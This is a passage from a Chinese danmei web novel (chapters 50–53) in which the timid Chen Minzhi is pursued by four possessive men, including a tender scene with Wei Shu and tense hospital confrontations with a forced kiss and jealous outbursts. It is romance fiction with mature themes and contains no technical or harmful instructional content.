男人身材结实,浑身都覆盖着硬朗饱满的肌肉,完美得仿佛雕塑,而覆盖在小麦色皮肤上深深浅浅的伤口,非但没有破坏这种完美,反倒为其增添了一种更加粗野、犷悍、具有血性的魅力。 就像是骑士为保护他的公主,从血战中在身上刻下的勋章。 这是他的使命,也是他的荣耀。 卫殊望向低着头,眉眼专注地为他上药的少年,心想,他真愿意每天都这么受伤,这样小公主就会每天都为他上药了。 “卫殊?”一道担忧的声音将他的神志唤了回来。 卫殊咽了咽喉咙,问:“怎么了?” “怎么又走神了。”陈悯之有些无奈,“我问你疼不疼,这个力道合适吗?” 卫殊没有回答,他看着少年乌黑的眼睛,温软的面庞,俯下身,吻上了他的公主。 第50章 第 50 章 男鬼归来。 51 男人烫热的唇忽然覆盖上他的, 带着男人身上富有野性的、极具侵略性的荷尔蒙气息,陈悯之一愣,随即下意识地想要推拒, 可覆在唇上的气息却没有更深的触碰, 而是在下一刻就离开了。 这只是蜻蜓点水的一个吻,比起陈悯之在之前经历的那些, 被一个个发了疯的男人咬着嘴巴吃到流水的深吻,这个吻简直连吻都算不上,只是轻轻地碰了一下嘴皮,可不知为何,陈悯之的脸却倏地涌上一抹热意。 他像只猝不及防、突然被啃了一口的兔子,慌慌张张,羞红着脸捂着自己的嘴巴:“你、你干什么呀。” 卫殊目光灼灼望着他, 喉结上下滚动一轮, 哑声说:“这样就不疼了。” 陈悯之微怔,反应过来他在说什么后,脸颊更烫了。 他又羞又臊, 捂着嘴巴的手放下来, 视线却偏开, 不敢去对上男人过分灼热的目光,声音也跟蚊蚋似的:“你在说什么呢, 哪儿有亲一下就不疼了的。” 他又不是什么包治百病的金疮药。 少年五官生得清甜, 线条柔软, 并不是那种艳丽夺目的长相, 而是给人一种兔子似的软乎乎的可爱感觉,但此刻,因为害羞, 那双白皙面颊染上绯色,粉白粉白的,倒像春日灼灼盛放的桃花,比平日多了几分明媚动人的意味,直让人看得移不开眼。 卫殊将他这幅含羞的样子尽数收入眼底,只觉得小公主在此刻漂亮得过分,他恨不得抱着他再亲一口,一直亲下去,亲到小公主生气了,扇他巴掌为止。 但他终究没有这么做,只是舔了舔嘴唇,将唇上那一抹残留的香甜气息卷入口中,声线低哑地说:“真的不疼了。” 陈悯之抿着嘴巴,被男人的目光看得脸颊发热,说不出话,只得埋着脑袋继续给他上药。 把前胸的伤口都上完药,陈悯之道:“你转过去一下。” 卫殊听话地照做了。 男人背过身,露出一背漂亮的肌肉,即使覆着星星点点的伤,也掩盖不了那一身健硕肌肉所展现出的野性魅力。 而这张漂亮的脊背,此刻却不知出于什么原因而紧绷着,好似一张拉到极致的弓,肌肉线条都绷到了极致。 棉签覆上去时,更是会微微颤抖一下,随之而来的是男人吞咽口水的闷哼声。 陈悯之以为他是疼到了,于是把动作放得更轻,却在下一刻听到男人沙哑紧绷、像是忍耐到极致的声音:“悯悯,你可以下手重一点。” 陈悯之不明所以:“啊?为什么?” 还是头一次听到有人要求上药上重一点的,生怕感受不到疼一样。 卫殊:“这样,我会不那么难忍。” 陈悯之:“啊?你在忍什” 话到一半,他自己都闭嘴了。 而卫殊也没有回答他的问题。 到底不是为经人事,他忽然明白了卫殊在忍的是什么。 况且卫殊这种情况在之前也不是没有过,之前在把他从城堡里带出来的时候,男人也是这样,在车上一边说他穿公主裙好漂亮,一边就 陈悯之的脸颊越来越烫,从一开始的粉红,到后来变得像是煮熟了的虾一般。 他羞得难以启齿:“你、你怎么又” 明明只是上个药而已,为什么连这也会那样啊。 像是生怕他生气了一般,卫殊忙转过身,抓着他的手道:“抱歉悯悯,我不是故意的,我也控制不住它,你生气的话打它好了。” 陈悯之瞪大眼睛,更羞恼了,抽回自己的手:“谁要打它了” 而且按照前他在前几个男人那里积累的经验来看,真的不会给它打爽了吗? 卫殊显然也意识到自己说错话,但身材高大,打起架来以一敌十的男人,此刻望着羞恼得红了眼睛,像只连耳朵都竖起来的兔子一般的少年,却显得十分笨嘴拙舌:“对不起悯悯,是我说错了,那你打我,打我好了,你别生气。” 说着又抓着少年的手往自己脸上贴。 陈悯之挣扎着:“放开我!” 他简直不明白这些男人为什么一个个都赶着要把脸凑上来让他打。 但男人手臂肌肉隆起,抓着他的大掌就像是铁钳,他挣都挣不动,陈悯之做了半天无用功,只得放弃:“我没有生你气,你先放开我。” 卫殊盯着他:“真的?” 陈悯之叹气:“真的。” 卫殊这才放开他。 放开了之后,又用那双宛若大狼狗盯着肉一般,目光灼灼的兽眸望着他,也不说话,像是生怕他跑了,又怕自己说错话惹他生气一样。 陈悯之被他看得脸热,偏开视线,乌黑的眼睫一颤一颤:“看着我干什么,转过去啊,药还没上完呢。” “哦哦。”卫殊后知后觉地反应过来,干巴巴地回答道。 两人都不再说话,空气间一时变得很安静,只能听见棉签在粗糙皮肉上轻轻刮过的细微声响,以及男人喉结滚动的吞咽声。 陈悯之听得耳根子都快红透了,奇怪,他是什么很美味的大骨头吗,怎么卫殊每次一看见他就一个劲儿地吞口水。 不过,卫殊再怎么也比其他几个人强多了,就算再馋,也不会像其他几人一样扑上来抱着他就啃。 陈悯之在这时忽然想起来,在这四个人里,只有卫殊是从来没骗过他,也从来没强迫过他的人。 在卫殊身边,他感到是安全的,即使男人此刻脱了衣服,像他袒露着精悍的上半身,甚至还对着他一个劲儿地咽口水,他也不担心卫殊会对他做什么。 只是,他自己脸上那始终都未曾褪去的热意,以及胸腔中怦咚怦咚有些过快的心跳,他却不明白那是为什么了。 * 处理完伤口,陈悯之让卫殊在家休息,自己则出去买菜,打算买回来做晚饭。 原本卫殊坚持要和他一起去,说买菜做饭这些事情他来做就好,悯悯不需要进厨房。 但男人毕竟一身的伤,陈悯之好说歹说,最终答应菜买回来后卫殊做饭,才说服卫殊在家好好休息。 但陈悯之没想到的是,他刚买完菜,就收到了陆承轩发来的消息。 【哥哥,你去哪儿了?】 陈悯之看了一眼,习惯性地想回复,又想起陆承轩今天对他说过的那些话,神色一黯,关掉了手机。 他并不是可以任人欺负的兔子,他也会受伤,也会难过的。 但手机的消息提示音依旧响个不停。 【哥哥,我好痛哦,哪里都好痛,卫殊下手太重了,我看他就是想杀了我好独占哥哥,真是好黑的心。】 陈悯之心想卫殊才不是那种人,要论黑心,陆承轩的心可比卫殊黑多了,要不然也不会装乖骗了他这么多年。 他不服气地反驳:【你胡说,卫殊才不是那种人,他都告诉我了,他没往你要害处打】 消息发出去,对面过了一分钟才回复:【你就这么护着他?】 【呵,睡过了就是不一样是吧?】 【怎么了27了不起啊?一般这么大的都是叽大无脑只知道蛮干,技术指不定有多烂呢,哥哥你是没吃过好的】 但这几条消息出现不到三秒,聊天框上即显示: 【对方撤回了一条消息】 【对方撤回了一条消息x2】 【对方撤回了一条消息x3】 取而代之的是新跳出来的一条:【哥哥我错了】 【哥哥好奇怪哦刚才我手机屏幕失灵了自动打字,都不知道发了些什么东西出去,哥哥你应该没看到吧?】 陈悯之: 他只是反应有点慢但不是傻子谢谢。 见他半天没回复,对面似乎是有些急了:【哥哥你别生气,我给你道歉好不好?】 【我错了哥哥,我不该对哥哥说那些话,哥哥要是生气就扇我嘴好了,骂我也可以,不要不理我】 【哥哥】 陈悯之看着弹个不停的聊天窗,觉得头有些疼。 他想了想还是回复:【你根本就不是真心想道歉的。】 那头忙秒回:【我是真心的!哥哥不相信我,那哥哥到医院来,我当面和哥哥道歉好不好?跪下道歉也可以】 【求你了哥哥,哥哥来医院看看我好不好?我一个人在这里好冷哦,身上也好痛~】 陈悯之:【我给你请了护工,而且医院也有空调】 陆承轩:【可是明明之前秦陌住院哥哥都是亲自照顾他的】 他不提还好,一提起这事儿陈悯之就来气:【我那是之前被他骗了,就跟被你骗一样,以为你们都是什么好人。】 结果没一个好东西,都是一丘之貉。 陆承轩:【哥哥我真的错了我来找你好不好?你现在在哪儿?在家吗?】 两秒后:【你不会和卫殊在一起吧?】 陆承轩:【我来找你。】 陈悯之:【算了,你别来,在医院等着。】 陆承轩秒回:【哥哥是要来看我了吗?】 陈悯之:【嗯。】 他到底也没那么狠心,舍得完全抛下陆承轩不管,陆承轩才受了伤,东奔西走的不利于伤口恢复,而且他好不容易才把这两人分开,要是再见面又打起来就不好了。 陆承轩:【好哦哥哥。】 陆承轩:【金毛摇尾巴jpg.】 因为是去看望病人,陈悯之又掉头去买了些水果,然后才打车去医院。 但他还没走进陆承轩的病房,就在外面的走廊上突然被人一把攥住了手。 男人坐在轮椅上,一条腿打着石膏,斯文禁欲的一张脸上也覆盖着青紫,显得有些狼狈,唯有一双盯着他的眼睛,依旧如同不见天日的古井般阴沉。 不过这种阴沉在看到他手里提着的蔬菜和水果时,又像是春日的冰面般化开,带上了一种温柔与幸福。 秦陌视线偏了偏,声线不太自然地问:“给我买的?” 50-60 第51章 第 51 章 他原本就是这种卑劣的小…… 51 陈悯之看着坐在轮椅上的男人, 讶然道:“你怎么在这儿?” 哦,他想起来了,卫殊说他去把秦陌和顾明珏也打了一顿, 该不会这两人进的也是这家医院吧?这也太巧了。 顿了顿, 陈悯之又反应过来什么,收了收自己提着水果的手:“谁给你了, 放开。” 秦陌捏着他的手腕,视线紧盯着他:“不是给我的?难道是给顾明珏的?” 虽然受了伤,男人手上力道却不小,捏得陈悯之手腕微微泛疼,心底也生出一股气来,挣扎道:“你管我给谁,放开!” 秦陌一噎。 他没想到, 时隔多日, 这只看上去哪里都很柔软的小兔子,好像多了一点脾气。 就像是有了人在背后给他撑腰,给了他底气, 让他不再惧怕在外界的豺狼虎豹, 还敢蹬着兔子腿儿踹人一脚。 想到在背后给他撑腰的人是谁, 秦陌一张脸顿时阴沉下来。 他死死盯着少年柔软的嘴唇,那张唇现在虽然没肿, 但背地里肯定已经被不知多少男人亲过了, 被一条条流着口水的野狗叼在嘴里, 嗦干净里面甜润的汁液。 而他呢?他自从少年被顾明珏带走后, 就连陈悯之的面都没见过了,更别说能品尝到那甜蜜的果实。 这些时日他一个人辗转反侧夜不能寐,担心这只蠢兔子在外面受了欺负, 连被关在拘留所里的时候都想方设法地找人想把陈悯之营救出来,结果他倒好,背着他在外面不知道爬了多少男人的床,现在连手里的水果也要送去给别的男人! 秦陌没有松开少年,放在膝上的另一只手却紧紧捏到变形,指甲都陷进了肉里,戳得生疼,眉眼阴鸷得可怖。 他当初就不该那么心软,不知廉耻、冥顽不灵的蠢兔子,就该被用链子锁上,被他操.到肚子大起来,撅着流水的屁.股哪儿也去不了! “你听到我说话没有?”陈悯之对男人心底陡然生出来的恶劣心思浑然不觉,注意力还在自己被捏疼了的手上,“我让你放手,我要走了!” 卫殊还在家里等他,等看望完陆承轩,他还得早点回去。 可下一刻,他猝不及防被一股大力拖拽而下,跌进男人怀里,随即,男人滚烫的唇舌压住了他的唇! “唔!你做什——唔唔!”陈悯之奋力挣扎,手里提着的蔬菜水果滚落一地,却也早已顾不上去捡了。 就像是许多年没吃到过肉的豺狼,男人亲吻的动作野蛮又凶狠,带了几乎嗜血一般的粗暴,锋利齿尖叼着陈悯之软嫩的唇瓣撕咬,让陈悯之觉得男人不是在亲他,而是想要把他嘴上的软肉给咬下来。 “呜、呜呜”少年疼得眼底漫上了泪花,不受控制地从喉咙里溢出几声哭腔。 太凶了从来没有人这么凶地亲过他,从前那几个人,即使是发疯,每次亲他也都还是控制着力道的,以至于陈悯之不知道,原来接吻也可以这样粗暴,粗暴到让人疼痛。 男人身量宽了他一倍,浑身都覆盖着结实有力的肌肉,即使受了伤坐在轮椅上,力气也不是他能比的,他那点儿力量就像是蚍蜉撼树,没办法从这牢笼里挣脱半分。 “呜、疼轻一点”陈悯之呜咽着哀求道。 就像是自然界里趋利避害的小动物一般,少年在知道自己无法挣脱后,本能地寻求了另一种自保的方式,收起了身上尖锐的刺,朝男人示弱求饶,好让凶残的捕食者对自己温柔一点,不要那么快将他吞吃入腹。 可这次,男人却没有像往常一样因为他的求饶而怜惜,反而像是因此被激怒了一般,手掌扣着他纤细的脖颈,变本加厉地啃咬得更凶,陈悯之几乎尝到了唇齿间溢出的淡淡铁锈味。 陈悯之被亲得很委屈,眼尾都泛起了可怜的红。 他不明白这是为什么。 然而下一刻,他听到了男人如同恶鬼一般带着嫉妒与怨毒的声音:“被卫殊操的时候,你也是这么求他的?” “啪——” 一个响亮的巴掌毫无预兆地扇在了秦陌脸上。 男人英俊的脸庞被打得偏过去,冷白皮肤上浮现出清晰的指痕,再加上那张脸上原本就有的青紫,显得分外狼狈。 然而那张脸却没有因为被打而浮现出半分愤怒,那双黑漆漆的眼珠子缓缓转动过来,里面闪烁着一种诡异的兴奋,与那张脸上更为深重的怨恨交杂在一起,五彩斑斓,不似活人。 秦陌看着红了眼睛的少年,嘴角牵起一抹冷笑:“怎么,我说得不对吗?那条狗从一开始盯着你的眼神就不对劲,下.流恨不得把你吃进肚里,他带走你这么长时间了,难道还没操.过——” “啪——” 又是一巴掌毫不留情地落在他脸颊上,两次都扇的同一边,现在那半边脸上的巴掌印尤为清晰,比男人脸上被揍出来的淤痕还鲜艳夺目。 少年一双眼睛红得像兔子,里面装着的却不是小兔子一般的可怜,而是愤怒。 他白皙的脸颊染上一抹浅红,乌黑眼睫抖颤,胸口急剧起伏,显然是气到了极点。 陈悯之不常扇人,实际上他很不喜欢扇人巴掌这种暴力的行为,但秦陌刚才的话已经超过了他能容忍的极限,他几乎是想也不想地挥了一巴掌出去,好让那张臭嘴立刻闭上。 秦陌亦是眸光阴狠,如同附骨之疽粘附在他身上,那目光犹如黏腻的毒液,上上下下把少年全是都刮了一遍,好像要腐蚀掉少年外层的衣物,好看看里面到底留下了多少男人的痕迹一般。 最让他怨恨的并不是陈悯之和卫殊做了,而是陈悯之竟然这么护着卫殊。 他刚才那么凶得亲他,少年都没有扇他巴掌,可一提到卫殊却好像半点也无法容忍一样,连着给了他两下。 虽说他也不是没有爽到但脸上的爽和内心的酸妒纠缠在一起,扭曲成了一种更复杂难言的滋味。 要不是小腿被打骨折了,他现在就会把这只兔子抓起来,抓回家里,锁到只有他能看见的地方去,一辈子都不放出来,好让他再也不能睁着那双看似无辜的圆眼睛勾.引男人。 然而就在这时,他听见陈悯之说:“我和卫殊什么也没做过。” 秦陌一怔,有些不敢相信自己所听到的:“什么” 少年那双乌黑的眼睛看着他,一字一句,仿佛审判他的铡刀:“秦陌,不是所有人都和你一样龌龊。” 仿佛骤然被冰冷的刀尖穿透,秦陌胸腔中传来一阵窒痛。 怎么会弄成这样,他怎么会说出那些话,久别重逢,他明明是想要将他的小兔子抱在怀里,好好亲一亲的,可直到此刻他才明白,一直以来,在陈悯之面前,他从前引以为傲的理智与自制力全都不值一提。 明明喜欢他,却总控制不住自己在他跟前露出阴暗又丑陋的一面,像是个被疯狂的妒火吞噬理智的怪物,一个怨鬼,一个妒夫。 又或许,他原本就是这种卑劣的小人,所有的理性与教养不过是他逢迎于世的伪装而已。 只是在遇到陈悯之以前,他没有意识到这一点罢了。 望着少年转身离开的背影,一种将要永远失去珍爱之物的恐惧感攫住了秦陌的心脏,他顾不上骨折后刚打上石膏的腿,着急地撑着扶手想要从轮椅上站起来:“悯悯,我——” 就在这时,一只手掌摁住他的肩膀,将他按回了轮椅上。 “秦先生,腿都被打断了,还是好好坐在轮椅上休息吧。” 秦陌缓慢地扭过脖子,盯向从身后走出来的人:“你什么时候来的?” 顾明珏莞尔一笑:“我什么时候来的不重要,重要的是,秦先生为我排除了一条错误的道路,多谢秦先生。” 说罢,不去看秦陌脸上精彩纷呈的表情,理了理领口,风度翩翩地走到前面开始捡起少年遗落在地上的果子。 秦陌眉头一蹙:“你干什么?” 顾明珏道:“借花献佛。” 秦陌迅速反应过来,冷笑一声:“借佛之花献佛,还没见过这么不要脸的。” 顾明珏不紧不慢:“借谁的花不重要,重要的是献予神明的态度,秦先生方才不就是因为态度恶劣,被神明所驱逐了吗?” 秦陌脸色森森,眼睛红得可怕,攥着轮椅扶手的五指用力得几乎快碎掉,却只能眼睁睁地看着顾明珏收拾好一地的残局,提着陈悯之刚才带来的蔬果,往少年消失的方向走去。 * 陈悯之看着眼前的男人,眼神里浮现出困惑。 他也没想到从医院大门走到陆承轩病房这短短一段路,竟然能在半路被人拦下来两次。 他像只警惕的兔子,竖起耳朵,缩到楼梯转角,神色戒备:“你、你找我有什么事吗?” 顾明珏低眸望着眼前的少年,视线聚焦到少年被咬破的嘴皮上。 通红发肿,沾染着一点血色,却更显娇艳,像是饱满成熟的果子,什么都不用做,光是挂在枝头就已经足够对人构成引诱。 顾明珏喉咙干得发痛,墙角狭窄,是一个很适合接吻的位置,他只需要一伸手就能把纤细的少年困在臂膀之间,然后扣住他的下巴,逼着他抬头,承受他汹涌的、带有恶意的亲吻。 但他没有这么做,他已经在秦陌那里看到了教训。 况且如今的少年,似乎也和以往不一样了。 他不再是从前那只孱弱的,只知道一味躲避与承受的兔子,从前那般威逼利诱的手段,对少年已经不起效了。 于是顾明珏只是压下喉中的渴意,提起手中的水果,露出一个温柔无害的微笑:“没什么,只是刚看见宝宝有东西落下了,来还给宝宝。” 陈悯之神情微愣,刚才他被秦陌咬得痛死了,生怕秦陌再亲他,跑得比兔子还快,连掉在地上的水果都没顾得上捡。 现在想起来在医院乱扔水果好像是有点没公德心,幸好这几层楼都是VIP病房,路上没什么人。 于是他接过顾明珏手里的袋子,小声说:“谢谢。” 顾明珏一笑:“不客气。” “那你没事的话,我就先走了。”陈悯之看了眼前方被男人挡住的道路,示意男人让开。 但男人显然没有那么容易遂他的愿,挡在前方的身躯一动不动:“有事。” 面对曾经捕食过他的险恶食肉动物,陈悯之像只看见风吹草动就紧张的兔子,再一次警惕地竖起耳朵:“什么事?” 顾明珏见他这幅模样,叹了口气:“悯悯,我是来找你道歉的。” “我之前,不该那样对你,不该把你关起来,更不该强迫你做你不愿意的事。是我心胸狭隘,卑劣自私,被嫉妒冲昏了头脑,才对你犯下不可饶恕的过错。” “悯悯,我发誓以后不会再做那样的事了,我们回到从前,重新开始好吗?” 陈悯之睁着圆圆的眼睛,显然,有了秦陌和陆承轩的前车之鉴,他现在并不敢轻信男人的话,这些疯狗找了他这么久,又知道他一直跟卫殊在一起,发疯才是正常的 但男人一副温和守礼的样子,又的确没对他做什么 陈悯之于是犹犹豫豫,又有些不解地开口:“你说回到从前是什么意思?” 顾明珏温和地引诱道:“悯悯可以像之前一样,把我当成你的学长,我们像朋友一样相处,好不好?” “朋友”陈悯之喃喃。 “嗯,朋友。”顾明珏道。 然而下一刻,陈悯之迟钝的脑子忽然反应过来什么不对劲。 不对!顾明珏都已经对他做过那种事了,他们怎么可能还是朋友!就算顾明珏道了歉,就算他勉强原谅他了,他这辈子也不可能再和顾明珏当朋友! 他竟然差一点又中了顾明珏的圈套! 陈悯之奋力推开男人:“不要!我不要和你做朋友!” 顾明珏被推得向后一个趔趄,闷哼一声。 他受的伤并不比秦陌轻,还能正常走路,只不过因为秦陌断的是腿,而他断的是肋骨罢了。 男人眸光中的温和如同潮水般褪去,露出伎俩被识破后的阴冷来,他上前一步,卡住少年的下巴,温柔又强硬地道:“哦?宝宝不想做朋友,那是想和我做夫妻吗?” 陈悯之挣扎道:“谁要和你做夫妻,放开变态,不准碰我” 但下一瞬,他忽然不敢动了。 男人的手指探入了他的齿间,捏起了他的小舌.头。 “呜你” 那里细嫩又脆弱,刚被凶狠得□□过,到现在还很可怜地肿着,男人指腹上又覆有薄茧,刮在舌.头上泛起一阵微麻的痛意,让陈悯之忍不住包起了泪花,挣扎着想要摆脱这样恶劣的欺负。 “别动。”顾明珏的声音里不带情绪,捏着他舌头的力道却略微重了些,强势得让他无法挣脱。 要害被拿捏,陈悯之不敢动了。 顾明珏俯下身,英俊的脸庞朝着他覆盖下来,眼看那双唇离自己越来越近,陈悯之本能地戒备起来,准备下一刻就将男人推开,却没想到,那双唇停在了距离他咫尺之遥。 在这样近到能听见彼此呼吸的距离下,顾明珏指腹摩挲着他的舌头,对着他舌尖的伤口,轻轻吹了一下:“疼吗?” 陈悯之一愕。 他没想到男人这样强硬地把他控制住,只是为了往他舌头上吹一口气。 半晌,他才习惯性地答道:“不疼。” 顾明珏却叹了口气:“悯之,疼就是疼,不要说不疼。” 闻言,陈悯之愣了一下,随即,心头像是有什么奇怪的水流滚过。 小时候他因为笨笨的,总被其他小孩捉弄欺负,在地上把额头摔轻了,回家妈妈问他疼不疼,他也只会傻乎乎地说不疼,一是怕妈妈担心,二是怕妈妈知道发生什么后不让他再去和朋友玩。 久而久之,在面对他人的询问时,他便习惯了说不疼、没事、没关系。 但他直到此刻,直到顾明珏清楚地告诉他,他才意识到,原来人是可以说疼的。 都被咬破皮了,怎么可能不疼呢。 顾明珏看着他这幅愣愣的模样,眸光闪过一抹幽暗,但最终,也只是低头,继续对着少年的伤口轻柔地吹气。 这一次,陈悯之没有再挣扎,只是目光还有些呆。 狭窄的楼梯转角处,少年的腰肢被男人握着,脑袋乖乖地仰起,从某个特定的角度看过去,就像是在主动承受男人的亲吻一般。 在这昏暗的间隙中,陈悯之瞥见了一双阴冷的,毒蛇似的眼眸。 那人穿着病号服,站在台阶之上,居高临下地死死盯着他们,森森道:“哥哥来医院,不是来看我的吗?” 第52章 第 52 章 讨好主人的小狗。…… 52 如同兜头一盆冷水浇下, 把陈悯之骤然从那种神智迷离的状态中拽出来。 他猛然推开贴着他的嘴唇吹气,几乎要亲上来的顾明珏,提着水果向楼梯上走去。 明明什么都没做, 但奇怪地, 面的陆承轩阴鸷的眼神,陈悯之居然生出了一丝心虚。 他欲盖弥彰地抬手擦了擦嘴皮, 目光躲闪道:“不是让你好好躺着休息吗?怎么出来了?” 陆承轩的视线紧紧黏在少年的嘴唇上,那双唇比寻常的颜色更深,也更嫣红饱满,唇上还有被咬破皮的痕迹,一看就是刚刚被男人凶狠地亲吻过。 他穿着病号服,身形因为受了伤而微微佝着,不似平日那般高大得有压迫感, 那双眼睛却一如既往地明锐, 如同枯枝败叶里潜藏的毒蛇般,死死盯住他的猎物:“我不出来,怎么能发现哥哥的好事呢?” “哥哥就这么馋吗?一天离了男人就过不下去。如果是这样的话, 哥哥来找我就好了啊, 我也可以满足哥哥的。” 陈悯之瞪大眼睛看他, 随即,脸上浮现出浓浓的失望:“陆承轩, 我本来以为你是真心悔改的, 现在看来, 是我错了。” 他把带来的水果放在陆承轩脚边, 像是连辩解也懒得了,转身就走,却在下一刻被身后一股大力攥住了手腕。 陆承轩手背上青筋浮现, 阴暗的嫉恨像是要溢出眼眶:“难道不是吗?哥哥刚才,不是在和顾明珏接吻吗!” “陆先生误会了。”楼梯下方,被点到名的顾明珏不慌不忙地走上来,看了眼红着眼睛的少年,十分体贴地解释道,“悯之没有和我接吻,刚才,我只是在替他吹嘴上的伤口而已。” 陆承轩一怔,抓着陈悯之的手问:“有人欺负你了?是谁?” 在二人还小的时候,每次陈悯之因为脑袋笨笨的受了人欺负,陆承轩就会这样抓着他的手问他是谁,然后用更狠的方式去把那些欺负过他的人报复回来。 要是陈悯之因为心软而不愿意说,陆承轩也有法子自己把那些人找出来。 但这次,陈悯之只是神色怏怏地说:“不用你管。” 陆承轩:“哥哥我错了” 陈悯之耷拉着眉眼,用力掰开他的手,声音很轻:“以后,不要再叫我哥哥了。” 陆承轩那张英俊的脸庞,在听到这句话后变得一片惨白。 这无疑是这么多年来,陈悯之对他说过的最重的一句话。 这是一个极度危险的信号,意味着从小到大都疼爱他的哥哥,这一次是真的被他伤透了心,再也不会原谅他了。 一种前所未有的恐慌从心脏蔓延至陆承轩全身,他本能地,惶急地拼尽全身力气抓住了少年的手,“噗通”一声跪了下来。 “对不起是我误会哥哥了,我以后再也不会对哥哥说这种过分的话了,哥哥原谅我好不好?” 陈悯之垂眸看着他,柔丽眉眼间像是被吹皱的湖水一般的难过:“可是,陆承轩,我已经原谅过你太多次了。” 说罢,他转过头去,不再看那双小狗般殷殷望着自己的,像往常一样很容易就会让他心软的眼睛。 可下一刻,手上忽然传来濡湿的触感。 陈悯之低头一瞧,发现陆承轩正跪在地上,伸舌.头舔他的手。 一边舔,眼睛里还一边流泪,泪水滴到他的手背上,把他的手浸得湿乎乎的。 陈悯之瞪大眼睛,怎么也没想到陆承轩能在医院里做出这种事。 陆承轩不嫌丢脸,他都嫌丢脸。幸好这层楼都是高级VIP病房区,住的人并不多,现在还没有其他人看到这一幕。 “你干什么!放开!”趁着还没更多人看见,陈悯之赶紧挣扎着想抽回自己的手,可跪在地上的男人看着可怜兮兮的样子,攥着他的手掌却力大无穷,铁钳似的让他挣脱不得。 连旁边的顾明珏都看不下去了,眉心抽了抽,出声提醒道:“陆先生,这里是医院,不是精神病院,请注意举止。” 但陆承轩显然直接无视了旁边这个多余的东西,一双浅褐色眼珠只盯着跟前的少年,眼睫颤颤,扑簌簌地流眼泪。 他舔.舐着少年柔软白皙的手,不是往常那般,含有情.色意味的,用粗大的舌.头贪婪地从指缝到指尖都舔遍的舔法,而是讨好一般的,只敢伸出一点舌.尖,轻轻舔着少年的手背,和凸起来的漂亮指骨。 就像一只害怕被抛弃,于是拼命讨好主人的小狗。 但这种舔法同样让人直起鸡皮疙瘩,陈悯之挣扎道:“别舔了!” “我错了,我真的错了哥哥。我以后都会听哥哥的话,再也不惹哥哥生气了。”陆承轩对他的指令充耳不闻,只是眼泪汪汪地瞅着他。 只不过,在看过太多次这样的眼泪后,陈悯之已经无法判断这是小狗真情的流泪,还是鳄鱼虚假的伪装罢了。 “哥哥打我也好,骂我也好,怎样惩罚我都可以,但是不要丢下我。” 陆承轩眼眶中还噙着泪,一双眸子却如同盯上猎物阴暗生物一般,死死盯着跟前的少年,里面是不加掩饰的偏执与疯狂:“没有了哥哥,我会死掉的。” 陈悯之一震。 虽然陆承轩前面说的话他无法判断真假,但直觉告诉他,这最后一句话一定是真的。 他望着跪在地上,哭着求他的男人,一时间有些手足无措。 说没有一丝心软是假的,一来,陆承轩毕竟是和他从小一起长大,陪伴了他大半个人生的亲人,二来,他原本就是这样容易心软的人,无论对方怎样伤害过他,但只要对他真心实意地道歉了,他就总忍不住相信对方是真心悔改的。 因为他总觉得,人这一生会犯许多错,但大部分的错误,都是可以被原谅的。人无完人,但人人都应当被赋予重来一次的机会。 于是,少年就像心软的神原谅他的子民一般,一次次宽恕了这些人对他犯下的过错。 陆承轩还跪在地上,哭得泪水沾湿了睫毛,嘴上却不遗余力地舔着他的手,他从手背到指尖都被舔得湿哒哒、黏糊糊的,像是被小狗湿润又炙热的爱意缠裹着。 陈悯之终是叹了口气:“你先起来。” 陆承轩抬眸望着他,眼睛里像是突然落入了星光,一下明亮起来,要是身后有尾巴,此刻一定也欢快地摇起来了:“哥哥原谅我了吗?” 陈悯之:“我” 就在这时,一股突如其来的大力忽然将陆承轩抓着他的手扯开! 陈悯之尚未说出的话卡在喉咙里,惊愕地看向本不该出现在这里的男人。 “卫殊你怎么来了?” 卫殊抓着他的手腕,脸上面对敌人时的凶狠在看向他的那一瞬间消失得无影无踪,取而代之的是一种大型犬犯了错被主人逮住时的无措,他支吾着:“我、我等了很久你都没回来,就来医院找你了。” 至于怎么知道他在医院的,陈悯之用脚趾头想也知道,卫殊一定又安排了人在暗中跟着他。 陆承轩盯着卫殊那只抓着少年的黑手,森森道:“放开他。” 卫殊冷眼睨向他,手上纹丝不动。另一只手却紧攥成拳,骨节咔咔作响,却没有更多的动作,像是怒气勃发到极点,却迫于某种无声的禁令而不得不将自己拴住。 最终还是陈悯之有些无奈地开口:“卫殊,你先松开我,你抓得太紧了。” “哦、哦。”卫殊这才讷讷地松开手掌,但高大身形依旧挡在他前面,像一堵宽阔又坚实的城墙。 男人盯着前方的两名雄性,一身小麦色肌肉隆起紧绷,像是一只守护在主人身边,蓄势待发的兽类,仿佛只要前面两个人对身后的少年有任何动作,他就会立刻扑上去将对方撕咬成碎片。 而对面的两个男人同样以目光无声地与之交锋,各个眸光阴狠,像是恨不得将对方撕碎的死敌。 气氛一时剑拔弩张。 陈悯之见势不对,生怕几个人又打起来,连忙绕上前去,把卫殊往后扯。 少年颤着一双乌黑柔润的眼睛,站在几个身形比他大了一圈的男人中间,像是一只明明胆子很小,还要强忍着害怕,在一圈豺狼虎豹之中劝和的小兔子,用一种很软和的语气说:“既然大家都受伤了,就不要站在这里了,都回去休息吧。” “那你呢?”安静了许久的顾明珏忽而开口,眸子直勾勾地盯着他,“你跟谁走?” * 陈悯之最后自然是谁也没有选,因为他知道,无论他选了谁,无疑都会在这三人之间重新挑起战火。 他只是留下一句:“我自己走,别跟着我。” 然后没再去看剩下三个人的神情,转身独自离开了医院。 大街上,陈悯之走在冬日昏朦朦的暮色中,心下一时有些茫然。 从小到大,他实际一直算得上是个循规蹈矩的人,在家是听父母话的好宝宝,在学校是听老师话的乖学生。 他的人生也一直很有计划,上大学、找工作、结婚、生子,但现在,命运轨迹和他的原计划大相径庭,事情发展几乎到了荒诞的地步,他有些想不通是怎么发展成这样的。 他现在和男人睡过,自然是不可能再去和女孩子结婚了,至于生宝宝就更不可能。 而他原本的四个至交好友,现在为他大打出手,争斗得你死我活,而他处于风暴中心,却不知道要怎么去平息这场风暴。 他是应该逃离它?还是应该在风暴中做出抉择?即使止息它的代价是他自己? 陈悯之茫茫然想着,却在这时,从路口转角处的凸面镜里,瞥见了一道鬼鬼祟祟跟在他后面的身影。 第53章 第 53 章 将他的公主永远守护下去…… 53 陈悯之停下脚步, 转过身,身后却空无一人。 他叹了口气,道:“卫殊, 出来吧。” 两秒后, 一个高大身影从墙角后面挪动出来,埋着头, 有些不敢看他的样子,像是做错了事情被主人发现的大狗。 卫殊挠挠脑袋:“我不是故意跟着你的,我是担心有人——” “我知道。”陈悯之说。 卫殊一双浓眉大眼瞅着他,明明生了一副很凶的相貌,此刻却显出了一点怂:“悯悯,你不要生气。” “我没有生气。”陈悯之道。 